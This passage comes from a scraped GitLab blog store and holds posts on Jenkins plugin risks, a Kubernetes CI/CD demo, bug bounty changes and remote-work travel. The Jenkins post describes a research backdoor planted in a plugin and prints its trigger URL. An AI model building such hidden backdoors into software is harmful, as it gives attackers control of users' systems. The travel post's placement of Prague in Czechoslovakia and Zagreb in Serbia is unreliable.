model](/blog/github-launch-continuous-integration/), and we highlighted [CloudBees adding SDM](/blog/jenkins-one-year-later/) in our most recent example. Even with all of the consolidation we’ve seen lately, plugins are still a popular [DevOps solution](/topics/devops/). On the surface, there’s a lot to appreciate: Literally thousands of plugins offer seemingly limitless customization without you having to make large investments in other tools. Need something? Chances are there’s a plugin for that.\n\nJenkins plugins have served as both a selling point **_and_** a downside – but how can a strength also be a weakness? All that customization comes with a few caveats.\n\n## Plugins and security vulnerabilities\n\nJenkins offers more than 1,600 community-contributed plugins. David Fiser over at the TrendLabs Security Intelligence Blog highlighted some [Jenkins security advisories associated with plain-text-stored credentials](https://blog.trendmicro.com/trendlabs-security-intelligence/hiding-in-plain-text-jenkins-plugin-vulnerabilities/) from July and August 2019. There were six plugins affected, one of which has been deprecated. At the time of article publication (August 30), three of the plugins had not been fixed.\n\nTo properly store credentials, a third-party credential provider, such as the `Credentials` plugin, is recommended. Organizations can also use a [`Secret`](https://javadoc.jenkins.io/index.html?hudson/util/Secret.html) to store credentials. Jenkins was proactive in identifying these potential problems but, in the case of plugins, Jenkins can only recommend best practices and notify users once they’re aware of a potential issue. Because the plugins are operated by third parties, there’s also no guarantee any problems will be fixed.\n\nInstalling Jenkins plugins is limited to either a dedicated Jenkins admin or someone with exclusive access to the Jenkins filesystem, but uploading a potentially malicious plugin to the Jenkins plugin site doesn’t require as much authentication.\n\nThe team at CyberArk wanted to see just how easy it would be for an attacker to infiltrate a plugin. Dubbed [Aladdin’s Lamp](https://www.cyberark.com/threat-research-blog/jenkins-plugins-aladdins-lamp-and-the-sultan-of-threats/), the CyberArk team modified the existing Green Balls plugin that changed the plugin image to an image of Aladdin’s lamp. What they inserted discreetly into the code was a capability that gave any unauthenticated remote attacker SYSTEM access to a Jenkins master that installed their plugin with a specially crafted request:\n\n[`http://jenkinsURL:8080/OpenSesame`](http://jenkinsURL:8080/OpenSesame)\n\nTheir experiment was not malicious, of course, but it highlighted just how easy it could be to exploit the plugin ecosystem.\n\n## Plugins and brittle pipelines\n\nIt’s a tall order for users to weigh the pros and cons of more than 1,600 plugins, and many people rely on a plugin’s popularity in order to gauge whether it’s a suitable option. A simple search for a Docker plugin could show almost 26 results, and upon further review, one of the top results has eight plugin dependencies. If a team is using plugins for Docker, Kubernetes, GitLab, Go – those dependencies can really add up, and that’s where teams start seeing brittle pipelines.\n\nTechnology is constantly evolving, and keeping up with all of these dependencies can spell trouble for pipelines. The last thing you want is a broken deployment pipeline because [the pipeline itself is broken vs. the actual software artifact or build that’s being tested](https://harness.io/2018/09/4-reasons-your-jenkins-pipelines-are-brittle/).\n\nA vast majority of Jenkins plugins were created by third-party developers, meaning they can vary in quality and [some plugins lose support without notice](https://thenewstack.io/many-problems-jenkins-continuous-delivery/). Abandoned plugins are out there because their creators have opted to work on something else. Teams have to be diligent with maintaining these plugins with every new Jenkins version, but as any Jenkins admin can tell you, [this process has not always gone over well](https://jenkins.io/blog/shifting-gears/).\n\n## Plugins and maintenance\n\nWe touched on this briefly but admins are mostly in agreement that Jenkins maintenance is, to put it simply, not a great time. There’s a reason why developers often talk about their love/hate relationship with Jenkins – **_yay!_**, there’s a plugin for everything I need, **_oh no!_** I’m a Jenkins plugin maintainer now.\n\nUpgrading one plugin means you’ll likely have to update many others, and many Jenkins admins do this directly on their production Jenkins master. In one example, [Blue Ocean requires dozens of dependencies, many of which you may have no use for](https://cb-technologists.github.io/posts/jenkins-plugins-good-bad-ugly/), such as the Bitbucket Pipeline for Blue Ocean and the GitHub Pipeline for Blue Ocean plugins, even if you don’t use either Bitbucket or GitHub for source control.\n\n## Plugins: Pros and cons\n\nThere are pros and cons to anything and plugins are no exception. There is a lot to love about plugins:\n\n*   Flexibility\n*   Customization\n*   Convenience\n\nAnd there are things to be wary of:\n\n*   Maintenance\n*   Dependencies\n*   Lack of support\n*   Security vulnerabilities\n\nWith Jenkins’s modular architecture there’s a building block for everything you need. However, an ecosystem built entirely on plugins is going to require some discipline, and that means dedicating resources into maintaining that plugin environment.\n\nPlugins can be a great asset for a DevOps team. As CloudBees pointed out, [even GitLab uses plugins](https://docs.gitlab.com/ee/administration/file_hooks.html). We just don’t think you should have to use plugins for really basic tasks. In the end, it’s important for organizations to weigh the pros and cons of different platforms for themselves. You can check out our ebook, “The benefits of single application CI/CD,” and see how we stack up against other CI tools.\n\nCover image by [Fernando Lavin](https://unsplash.com/@filmlav?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/@filmlav?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText).\n{: .note}\n",[110,4103],{"slug":27171,"featured":6,"template":678},"plugin-instability","content:en-us:blog:plugin-instability.yml","Plugin Instability","en-us/blog/plugin-instability.yml","en-us/blog/plugin-instability",{"_path":27177,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27178,"content":27184,"config":27189,"_id":27191,"_type":16,"title":27192,"_source":17,"_file":27193,"_stem":27194,"_extension":20},"/en-us/blog/building-a-cicd-pipeline-in-20-mins",{"title":27179,"description":27180,"ogTitle":27179,"ogDescription":27180,"noIndex":6,"ogImage":27181,"ogUrl":27182,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27182,"schema":27183},"How to build a CI/CD pipeline in 20 minutes or less","Deploying your pipeline to Kubernetes is just a 'git push' away using GitLab's Auto DevOps feature.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749666903/Blog/Hero%20Images/pipeline.jpg","https://about.gitlab.com/blog/building-a-cicd-pipeline-in-20-mins","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to build a CI/CD pipeline in 20 minutes or less\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sara Kassabian\"}],\n        \"datePublished\": \"2019-09-26\",\n      }",{"title":27179,"description":27180,"authors":27185,"heroImage":27181,"date":27186,"body":27187,"category":734,"tags":27188},[17272],"2019-09-26","\nIn software development, time really is money. GitLab users know that by using our [Auto DevOps functionality](https://docs.gitlab.com/ee/topics/autodevops/), you can move from code to production in just two simple steps.\n\n[Eddie Zaneski](https://gitlab.com/eddiezane) of Digital Ocean joined us in Brooklyn at [GitLab Commit, our inaugural user conference](/blog/wrapping-up-commit/). In an informative and light-hearted talk, Eddie demonstrated how to build and deploy a [CI/CD pipeline](/topics/ci-cd/) to a Kubernetes cluster from scratch or by using GitLab’s [Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/) tooling in less than 20 minutes.\n\nIn the demo, Eddie and his co-founder were really wingin’ it when building an app for the “startup” he used for this demo, the Screaming Chicken Club.\n\n{::options parse_block_html=\"false\" /}\n\n\u003Cdiv class=\"center\">\n\n\u003Cblockquote class=\"twitter-tweet\">\u003Cp lang=\"en\" dir=\"ltr\">Massive shoutout to \u003Ca href=\"https://twitter.com/kamaln7?ref_src=twsrc%5Etfw\">@kamaln7\u003C/a> for building \u003Ca href=\"https://t.co/kke5hc2FC8\">https://t.co/kke5hc2FC8\u003C/a> and lending it to me for \u003Ca href=\"https://twitter.com/hashtag/GitLabCommit?src=hash&amp;ref_src=twsrc%5Etfw\">#GitLabCommit\u003C/a>\u003C/p>&mdash; Eddie Zaneski (@eddiezane) \u003Ca href=\"https://twitter.com/eddiezane/status/1174044146002288640?ref_src=twsrc%5Etfw\">September 17, 2019\u003C/a>\u003C/blockquote> \u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\n“I'm trying to raise money right now and VCs are caring about my tech,” said Eddie of his hypothetical start-up. “An easy way to score credit with VCs by having a super secure and well-thought-out DevOps pipeline, and that's where GitLab really comes into play here.”\n\n[Auto DevOps](/topics/devops/) is an out-of-the-box solution that helps move your code into production faster by automating the complex components of building a CI/CD pipeline, such as: “Building your application into a container; checking it for vulnerabilities; checking it for dependencies, checking it for licenses; deploying that to a Kubernetes cluster; setting up host names; DNS, TLS certs; automatically renewing them for you and doing performance testing.”\n\nSo where do you start?\n\n## Spin up your Kubernetes cluster\n\nGitLab has an airtight integration with Kubernetes that makes it possible to [deploy software from GitLab’s CI/CD pipeline to Kubernetes](/solutions/kubernetes/) by using Auto DevOps or by building the pipeline yourself. Either way, the first step will be to [configure a new Kubernetes cluster to deploy your application](https://docs.gitlab.com/ee/user/project/clusters/index.html).\n\nIt’s really as simple as toggling to the lefthand sidebar on GitLab and clicking Kubernetes > Operations > Add a Cluster. This process works for [GCP or GKE users](https://docs.gitlab.com/ee/user/project/clusters/index.html#add-new-gke-cluster), as well as those that are not on Google Cloud or are using an on-prem solution. In the demo, Eddie used Digital Ocean’s managed Kubernetes service to create the cluster, select the data center, and pick the size of the node. Eddie estimated this process would take anywhere from three to five minutes.\n\nThe next step is to integrate the Kubernetes cluster into the project, which requires a number of manual tasks, including grabbing the URL for the Kubernetes API server, creating a service account and binding it to the cluster admin, and grabbing the service token that’s generated. In the spirit of innovative shortcuts, Eddie created a [kubectl plugin](https://gitlab.com/eddiezane/kubectl-gitlab_bootstrap) that makes it even easier to add the Kubernetes cluster to the associated GitLab project.\n\n“This is actually going to automatically bootstrap a Kubernetes cluster into your GitLab project, create all the service accounts, make all the GitLab API requests, and take care of everything under the hood.” Thanks, Eddie!\n\nNext, just grab the GitLab project ID, and run:\n\n`kubectl gitlab-bootstrap gitlab-project-id`\n\nThe result is a URL. Follow the URL to see more about the Kubernetes cluster in your GitLab project.\n\n## GitLab-managed applications make your life easier\n\nOnce you’re there, you’ll see a list of [GitLab-managed applications](https://docs.gitlab.com/ee/topics/autodevops/cloud_deployments/auto_devops_with_gke.html). These apps can be installed in just one click to help manage your new Kubernetes cluster.\n\n1. [Helm](https://docs.gitlab.com/ee/update/removals.html): Install Helm first, because it is the package manager for Kubernetes and is required to install the other applications.\n2. [Ingress](https://docs.gitlab.com/ee/update/removals.html): Once Helm is installed, you can install the [Ingress controller](https://docs.gitlab.com/ee/update/removals.html), which will handle all the routing and mapping within the cluster and will create a load balancer behind the scenes. **Copy the IP address that’s displayed; you’ll need it later.**\n3. [Prometheus](https://docs.gitlab.com/ee/update/removals.html): An open source tool that monitors your deployed applications.\n4. [Cert-Manager](https://docs.gitlab.com/ee/update/removals.html): This will handle all the certificates and make sure everything is up to date.\n5. [GitLab Runner](https://docs.gitlab.com/ee/update/removals.html): Lets you run your GitLab CI/CD on your own host, or within the Kubernetes cluster.\n\nThe superstar of the bunch is GitLab Runner, the open source project that is used to run your CI/CD jobs and send the results back to GitLab.\n\nChanges include:\n\n## Launch Auto DevOps with the click of a button\n\nOnce you’ve created your Kubernetes cluster and installed the required applications, [launch the Auto DevOps process with the click of a button](https://docs.gitlab.com/ee/topics/autodevops/cloud_deployments/auto_devops_with_gke.html), literally.\n\n![Enable Auto DevOps](https://about.gitlab.com/images/blogimages/guide_enable_autodevops.jpg){: .shadow.medium.center}\n\nBy enabling Auto DevOps and selecting your deployment strategy (here is where you need the Ingress IP address), you kick off the CI/CD pipeline.\n\n## Or launch your own Auto DevOps process\n\nDon’t want to use our out-of-the-box Auto DevOps feature? You don’t have to. The good news is the underlying source code is available to you for each component of the deployment process, making it easy for you to parse out what jobs you'd like to run.\n\n“The great thing about GitLab being open source is nothing is magic, right? All this stuff is source code that we can all go look up and read,” says Eddie.\n\nThe source code for the entire out-of-the-box Auto DevOps process lives in [one YAML file](https://gitlab.com/gitlab-org/gitlab-foss/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml) in the GitLab repository. GitLab users are able to separately run jobs for each stage in the Auto DevOps process, from build to cleanup, simply by copy/pasting the [underlying source code](/solutions/source-code-management/) into a properly configured terminal.\n\nThe individual templates and components for the important jobs in each Auto DevOps stage are included in the YAML file. You can select which components you’d like to use. Note that nothing needs to be imported, because it all comes with your GitLab install.\n\nIn the demo, Eddie ran the jobs for the build and deploy stages as examples.\n\nRemember to return to the load balancer and grab the IP address Ingress created to configure your DNS, `git push`, then, viola! Your CI/CD pipeline is running.\n\n## A peek inside the pipeline\n\nDuring the demo Eddie went behind the scenes to explain what was happening inside the pipelines for the build and deploy jobs he started.\n\n### Build\n\n“It's going to take care of a lot of stuff behind the hood for us,” said Eddie. The pipeline uses Docker to build containers inside Docker, which will log in to our Kubernetes cluster’s container registry.\n\n“So GitLab automatically provides you with a container registry for your project,” said Eddie. “It's going to substitute in a whole bunch of environment variables and handles all the logins and generates the token, and all that. So we don't actually have to think about anything.”\n\nNext, the Docker base image loads. Eddie went into more detail about how to write up the Docker set-up, but the GitLab build component can automatically figure out the type of project you’re running and generates a Docker file with best practices to build the container.\n\n“So my project is building, compiling, pushing up my layers to the container registry, and then my build job should finish real quick and then my deploy job is going to kick off,” explained Eddie.\n\n### Deploy\n\nThe deploy job kicks off by spinning up a Helm chart that automatically fills the required information, such as the container ID, the host name, namespace, etc., into the template. Then it will create the Ingress ID, and then deploy the application.\n\n## Put your CI/CD pipelines on autopilot with GitLab and Kubernetes\n\nIn just a few minutes, Eddie was able to demonstrate two different ways to build a CI/CD pipeline by using GitLab and Kubernetes. While our Auto DevOps feature makes it so you don’t have to create a bunch of YAMLs from scratch (because, let’s face it, if you’re running Kubernetes you’re already running a ton of YAMLs), our open source Auto DevOps process makes it possible to pick and choose which components or jobs you’d like to run.\n\nWatch the entire video from GitLab Commit Brooklyn to see Eddie run a **third** CI/CD pipeline during his 17-minute talk.\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/-shvwiBwFVI\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\nLike what you see? [Join us in London](/events/commit/) on October 9 for our second GitLab Commit event with all new talks!\n",[2509,3949],{"slug":27190,"featured":6,"template":678},"building-a-cicd-pipeline-in-20-mins","content:en-us:blog:building-a-cicd-pipeline-in-20-mins.yml","Building A Cicd Pipeline In 20 Mins","en-us/blog/building-a-cicd-pipeline-in-20-mins.yml","en-us/blog/building-a-cicd-pipeline-in-20-mins",{"_path":27196,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27197,"content":27203,"config":27209,"_id":27211,"_type":16,"title":27212,"_source":17,"_file":27213,"_stem":27214,"_extension":20},"/en-us/blog/reducing-time-to-payout-and-launching-a-bug-bounty-anniversary-contest",{"title":27198,"description":27199,"ogTitle":27198,"ogDescription":27199,"noIndex":6,"ogImage":27200,"ogUrl":27201,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27201,"schema":27202},"GitLab speeds up bug bounty payouts, launches new contest","You talked. We listened. Quicker bug bounty payouts and we're holding a contest for our hackers!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678574/Blog/Hero%20Images/art-backlight-blur-249203.jpg","https://about.gitlab.com/blog/reducing-time-to-payout-and-launching-a-bug-bounty-anniversary-contest","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why we're reducing the time to payout and launching a bug bounty anniversary contest\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dennis Appelt\"}],\n        \"datePublished\": \"2019-09-24\",\n      }",{"title":27204,"description":27199,"authors":27205,"heroImage":27200,"date":27206,"body":27207,"category":674,"tags":27208},"Why we're reducing the time to payout and launching a bug bounty anniversary contest",[6746],"2019-09-24","\nIn just nine months since [going public with our bug bounty program](/blog/gitlab-hackerone-bug-bounty-program-is-public-today/), our reporter community has made substantial contributions to the security and continued success of GitLab. Since going public, our community of external security researchers submitted 1016 reports and we paid out [$395,000 in bounties](https://hackerone.com/gitlab).\n\nWe are very grateful for your contributions and have an open line for feedback regarding our bug bounty program.\n\n## You talked, we listened\n\nIn fact, when we asked you how we could strengthen our bug bounty program, one of the top suggestions was to reduce the time to bounty payout. We’re sure both professional and casual bug bounty hunters enjoy receiving a paycheck earlier than later. So, we took your feedback and sat down to improve our program.\n\nGoing forward, we will pay out a part of the bounty right at the moment when a report is triaged, which is, on average, five days after the report is submitted. That means cash in your pocket faster. Reports with severity of medium, high, or critical will be awarded $1000 when the report is triaged. The remainder will be paid when the report is resolved.\n\nAt GitLab, we believe in the value of [iteration](https://handbook.gitlab.com/handbook/values/#iteration). Paying out a partial bounty when the report is triaged is the first in a series of steps to speed up bounty payouts. We have many more ideas on how we can speed up bounty payouts and we’d like to move toward this with our community. If you have feedback regarding faster bounty payouts – or other areas where we can improve or grow – please share it with us! It’s this continual feedback loop and collaboration that will make us all successful.\n\n## Repeat reporters\nAnother key element that strengthens our program are our repeat reporters. We went to the 2019 HackerOne H1-702 event where we met with our top three hackers (since our bug bounty program launch through June 2019) to recognize their accomplishments and thank them for their impact on our program.\n\n![ngalog](https://about.gitlab.com/images/blogimages/h1-sept24/ngalog1.jpeg){: .shadow.small.center}\nOur AppSec team with [ngalog](https://hackerone.com/ngalog) at HackerOne’s H1-702 event.\n{: .note.text-center}\n\n![jobert](https://about.gitlab.com/images/blogimages/h1-sept24/Jobert1.jpeg){: .shadow.small.center}\nOur AppSec team with [jobert](https://hackerone.com/jobert) at HackerOne’s H1-702 event.\n{: .note.text-center}\n\n![fransrosen](https://about.gitlab.com/images/blogimages/h1-sept24/fransrosen1.jpeg){: .shadow.small.center}\nOur AppSec team with [fransrosen](https://hackerone.com/fransrosen) at HackerOne’s H1-702 event.\n{: .note.text-center}\n\nGitLab’s mission is, [everyone can contribute](/company/mission/#mission). Not just the most experienced hackers, and not just the reporters finding the greatest quantity of bugs or even the most impactful bugs, but all of the reporters in between. Your findings make us stronger.\n\n**So, with that in mind, let us introduce our...**\n\n## \u003Ci class=\"fab fa-gitlab fa-fw\" style=\"color:rgb(252,109,38); font-size:.99em\" aria-hidden=\"true\">\u003C/i>  \u003Ci class=\"fas fa-birthday-cake\" style=\"color:rgb(107,79,187); font-size:.99em\" aria-hidden=\"true\">\u003C/i>  One-year anniversary hacking contest \u003Ci class=\"fab fa-gitlab fa-fw\" style=\"color:rgb(107,79,187); font-size:.99em\" aria-hidden=\"true\">\u003C/i>  \u003Ci class=\"fas fa-bug\" style=\"color:rgb(252,109,38); font-size:.99em\" aria-hidden=\"true\">\u003C/i>\n{: .text-center}\n\nOur [one year anniversary](/blog/gitlab-hackerone-bug-bounty-program-is-public-today/) of taking our bug bounty program public is right around the corner. To celebrate a very successful first year, we want to recognize the outstanding contributions from our reporter community with a little something special.\n\n**We are running a community hacking contest starting October 1 (12 am ET) until November 30, 2019 (12 pm ET).** The top contributor in the following categories will receive a special reward:\n\n\u003Ci class=\"fas fa-address-card fa-fw\" style=\"color:rgb(46,46,46); font-size:.90em\" aria-hidden=\"true\">\u003C/i> **Most reputation points from submissions to our program.** This category is simple. Collect the most reputation points from submissions to our program and win!\n{: #id-card-black}\n\n\u003Ci class=\"far fa-address-card fa-fw\" style=\"color:rgb(56,13,117); font-size:.90em\" aria-hidden=\"true\">\u003C/i> **Most reputations points *collected by a reporter new to our program***. Getting started with a new bug bounty program is difficult. We want to recognize the effort you put in.\n{: #id-card-purple}\n\n\u003Ci class=\"fas fa-pencil-alt fa-fw\" style=\"color:rgb(219,58,33); font-size:.90em\" aria-hidden=\"true\">\u003C/i> **Best written report.** A well-written report goes a long way to demonstrate impact and to help us reproduce the problem.\n{: #id-pencil}\n\n\u003Ci class=\"far fa-lightbulb fa-fw\" style=\"color:rgb(252,161,33); font-size:.90em\" aria-hidden=\"true\">\u003C/i> **Most innovative report.** Sometimes reporters demonstrate great out-of-the-box thinking. For example, some reports group several low-severity findings into a high-impact vulnerability. We appreciate this creativity.\n{: #id-lightbulb}\n\n\u003Ci class=\"fas fa-rocket fa-fw\" style=\"color:rgb(252,109,38); font-size:.90em\" aria-hidden=\"true\">\u003C/i> **Most impactful finding.** At the end of the day, an impactful discovery is what we all strive for.\n{: #id-rocket}\n\n**The winners will be announced on December 12 via [GitLab blog](/blog/) post.** A contributor can win at most one category. Of course, regular bounties still apply to any of your findings. *Here’s a hint on a little something extra that the winners will get:*\n\n{::options parse_block_html=\"true\" /}\n**What’s orange and purple and goes hackety, hack?**\n{: .text-center}\n\nHappy hacking!\n\nPhoto by [Max DeRoin](https://www.pexels.com/@maxderoin?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels) on [Pexels](https://www.pexels.com/photo/close-up-of-computer-keyboard-249203/?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels)\n{: .note}\n",[267,674,676,1938],{"slug":27210,"featured":6,"template":678},"reducing-time-to-payout-and-launching-a-bug-bounty-anniversary-contest","content:en-us:blog:reducing-time-to-payout-and-launching-a-bug-bounty-anniversary-contest.yml","Reducing Time To Payout And Launching A Bug Bounty Anniversary Contest","en-us/blog/reducing-time-to-payout-and-launching-a-bug-bounty-anniversary-contest.yml","en-us/blog/reducing-time-to-payout-and-launching-a-bug-bounty-anniversary-contest",{"_path":27216,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27217,"content":27223,"config":27228,"_id":27230,"_type":16,"title":27231,"_source":17,"_file":27232,"_stem":27233,"_extension":20},"/en-us/blog/how-to-push-code-from-a-hammock",{"title":27218,"description":27219,"ogTitle":27218,"ogDescription":27219,"noIndex":6,"ogImage":27220,"ogUrl":27221,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27221,"schema":27222},"How to push code from a hammock","Our remote work dream team balances globetrotting with career advancement at GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678958/Blog/Hero%20Images/hammock.jpg","https://about.gitlab.com/blog/how-to-push-code-from-a-hammock","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to push code from a hammock\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sara Kassabian\"}],\n        \"datePublished\": \"2019-09-23\",\n      }",{"title":27218,"description":27219,"authors":27224,"heroImage":27220,"date":27225,"body":27226,"category":6634,"tags":27227},[17272],"2019-09-23","\n_At GitLab, our team doesn’t wake up at the same time and commute the same routes to sit in the same office. In fact, some of our team members don’t have an office at all! As a globally distributed company with an all-remote workforce, we have an exceptionally diverse set of team members dispersed on multiple continents. In this series, we explore how GitLab team members use the autonomy our company affords them to create workspaces that suit their lifestyle and cater to their hierarchy of needs: Whether that involves creating a cozy home office space, or diving into the unknown by working while traveling. New here? Go back to [read part one](/blog/not-everyone-has-a-home-office/) of our remote work series._\n\nFor many career-minded individuals, the desire to travel for prolonged periods comes at a cost. Sometimes, the only options are to plan for rushed two-week bursts of vacation, wait for retirement, or leave your career behind.\n\nBack in 2013, I had the opportunity to volunteer at an NGO in Hanoi for a month, but in order to do so, I had to make a choice: Leave my job as a reporter, or pass on the opportunity to work in Vietnam. My reporting job only allotted employees two weeks of annual paid time off (PTO) and didn’t allow for remote work at all. After some (but not much) deliberation, I left my job and went to Hanoi.\n\nEven in some companies where working remotely is an option, if all-remote isn’t part of the company culture, traveling abroad isn’t always feasible. [Erich Wegscheider](/company/team/#ewegscheider), talent operations specialist at GitLab, knows firsthand that [not all remote is created equal](/blog/not-all-remote-is-created-equal/).\n\nErich went to Europe for a few weeks while working remotely at a previous job with big plans to travel and work. But because he was tethered to working Pacific Time hours, the logistics made setting up an effective workday a challenge.\n\n“Sure, I was ‘remote,’ but the reality was that I worked in the equivalent of a satellite office by myself,” says Erich in a previous post. “Another detractor to working remotely was that it wasn’t conducive to my career development. Given that my colleagues worked at the office in California, the opportunity to lead or manage a team wasn’t presented, given my desire for location independence.”\n\nToday, Erich is able to balance career advancement with wanderlust. He’s currently delivering results for GitLab while lounging beachside from Bali before heading out to a new location as part of the adventure of a lifetime with [WiFi Tribe](https://wifitribe.co/).\n\nErich’s experience of working from Bali is hardly an anomaly at an all-remote company like GitLab. In fact, if GitLab somehow had geolocation enabled on our [contribute graphs](/blog/how-do-you-contribute/), you’d find code pushed from vans, hammocks, and likely some ancient ruins too. Where WiFi is enabled, GitLab is there.\n\n## “Where are you calling from now?”\n\nCaroline, people experience associate at GitLab, turned heads during our daily breakout call earlier this month by dispatching from [Chiostro del Bramante](https://www.chiostrodelbramante.it/), a stunning art museum in Rome.\n\n![Breakout call at Chiostro del Bramante](https://about.gitlab.com/images/blogimages/allremote-travel/breakoutcall.jpg){: .shadow.medium.center}\nCaroline joins our breakout call from the Chiostro del Bramante art museum in Rome.\n{: .note.text-center}\n\n“There is a coffee bar on the first floor with an outdoor sitting area overlooking the atrium,” says Caroline. “Hands down the best suggestion I have gotten from [workfrom.co](https://workfrom.co/) which is my number one go-to place to find ‘anything with good WiFi’ to work from when I land in a new city.”\n\nIt’s good to have these resources, because Caroline finds herself working from a new city often. Her visit to Chiostro del Bramante was right in the middle of her two-month long tour of Europe.\n\n“I started from Berlin, Germany, and have traveled to Prague, Czechoslovakia; Vienna, Austria; Budapest, Hungary; Zagreb, Serbia; Venice, Milan, Florence, and Rome in Italy; Barcelona and Madrid, Spain, and now Lisbon, Portugal” says Caroline. “From here I intend to proceed on Paris, Lyon, and Marseilles in France; Brussels, Belgium; Amsterdam, Netherlands; Geneva, Switzerland; Greece and Santorini, and finally Qatar before I return back home.”\n\n“I am a nature-holic and I always try to find the hidden parks and waterfalls, even in big cities,” says Caroline. “But this has been a big city tour because I am a village girl and curiosity won't let me. I plan to do another rural places trip next year in most of these countries.”\n\nCaroline lives in Nairobi, Kenya on a small half urban, half rural community called [Kinoo](https://www.google.com/maps/place/Kinoo,+Kikuyu,+Kenya/@-1.2520949,36.6834461,15z/data=!3m1!4b1!4m5!3m4!1s0x182f1ed5ba8b4527:0x1c9818f290cb069!8m2!3d-1.2526258!4d36.6930253) “with lots of tea leaves and sheep.”\n\n[Mike Miranda](/company/team/#mikemiranda), SMB professional advocate at GitLab, lives roughly 9,600 miles from Kinoo in Los Angeles, CA, but like Caroline, he has a full passport from his time working at GitLab.\n\nMike spent about half of 2019 globetrotting, and traveled quite a bit in 2018 as well, visiting: Amsterdam, Netherlands; Sofia, Bulgaria; Kyiv, Ukraine; Izmail, Ukraine; London, England; Budapest, Hungary; Dublin, Ireland; Lisbon and Porto in Portugal; Krakow, Poland; Barcelona and Madrid, Spain; Tel Aviv, Israel; Jerusalem, Israel; returning to Spain in Pamplona; Belgrade, Serbia; Berlin, Germany; Paris, France; Florence, Italy; circling back to Germany in Cologne; Burgas, Bulgaria, and even more cities across the United States, all while working for GitLab full-time.\n\nUnlike Caroline, Mike tends to gravitate more toward urban environments while traveling, but also loves visiting some rural locations as well: “I prefer the hidden gems though I definitely spent plenty of time in classic tourist cities.”\n\n## GitLab wants you to travel and visit team members\n\nGitLab’s all-remote set-up introduces a world of possibilities to our team members, many of whom saw their travel opportunities restricted in the past by colocated workspaces. So, when the opportunities are endless, which direction do you head?\n\nWhy not take a page out of [Douwe Maan](/company/team/#DouweM) and [Robert Speicher](/company/team/#rspeicher)’s playbook, and visit your colleagues with the help of GitLab. After all, GitLab has more than 888 team members across 57 countries and regions on five continents (these numbers are always growing!). The [GitLab visiting grant](/handbook/incentives/#visiting-grant) will help you pay for your travels, allotting $150 toward your transportation costs for each GitLab team member that you see on your journey. For example, if you have plans to travel to the San Francisco Bay Area to visit family and join a coworking day with six local GitLabbers, up to $900 in travel costs (6 x 150 = 900) will be reimbursed.\n\nThis program was inspired by Douwe and Robert, who spent six months of 2016 [traveling around the world](/blog/around-the-world-in-6-releases/), visiting 49 colleagues in 20 cities on all five continents. Their journey started in Robert’s home in Washington D.C., and ended in Douwe’s home in Amsterdam. This experience opened up a new perspective not just on how our colleagues live but how they worked as well.\n\n“While you hear about things going on in people's lives, about the places they live, and about issues they face, it's hard to truly appreciate and understand these different perspectives at a distance of hundreds, thousands, or tens of thousands of miles,” writes Douwe in a previous post. “Visiting them, getting to know them in their ‘natural habitat,’ and experiencing some bits of their life yourself, brings you closer to that understanding than anything else.”\n\nFor instance, [a day in the life of a GitLab team member](/blog/day-in-the-life-remote-worker/) based in the United States is different from an Asia-Pacific (APAC)-based team member, as time zones create major differences in when Slack is buzzing, when the company call is, etc.\n\n## The biggest challenges facing digital nomads\n\n[GitLab prioritizes written, asynchronous communication](/handbook/communication/#introduction), which is largely why all remote works so effectively for our company. But sometimes, you have to take the inconveniently timed meeting anyway. Caroline says being available for meetings across different time zones has been one of the biggest challenges with global travel.\n\n“The biggest part of what [being] a digital nomad involves is having the flexibility to determine your hours and find a perfect balance between work and discovering your current location,” says Caroline. “Meetings are usually fixed times that sometimes just mess up your entire preplanned flow. I have learned to be flexible. To interrupt an afternoon of site-seeing with a quick dash into a coffee shop for a quick meeting or to plan my day around a meeting.”\n\nErich is in Bali, so he’s currently in the APAC time zone. This means his evenings typically conclude with a few work-related calls and meetings.\n\n![The Mocca in Canggu, Bali](https://about.gitlab.com/images/blogimages/allremote-travel/the-mocca-canggu.jpg){: .shadow.small.center}\nThe Mocca is one of the cafes Erich works at during his time in Canggu, Bali.\n{: .note.text-center}\n\n“Another fun part about being on APAC time, when the Americas is the norm, is that weekends are shifted,” says Erich. “It's a 12-hour time difference to Eastern Time and 15 to Pacific, so Monday is essentially my Sunday. That means I usually work Saturday morning, but that's been fine by me thus far! The schedule allows plenty of time to get out and explore. Best of all, Mondays are generally quiet travel-wise, so it's a great time to move around the island as well.”\n\nMike experienced everything from whitewater rafting in Sofia, Bulgaria to thermal bath parties in Budapest, Hungary during his time abroad, but life as a digital nomad isn’t one giant vacation.\n\n“Timezone was initially a challenge and that required being intentional about a schedule and sticking with it,” says Mike. “Also, it was difficult to get into a comfortable routine and sometimes taxing to constantly be living out of a suitcase.”\n\nFor Mike, establishing a routine became critical to staying centered in ever-changing environments: “I would identify a coworking space or understand if the WiFi would work well for calls, know where and how I would exercise, know my work hours given the timezone.”\n\nBut his most important advice? Enjoy the adventure.\n\n“While it's not a vacation, make sure you take your work hours seriously and outside of that time enjoy the city you're in and the people you're around – I can't overstate 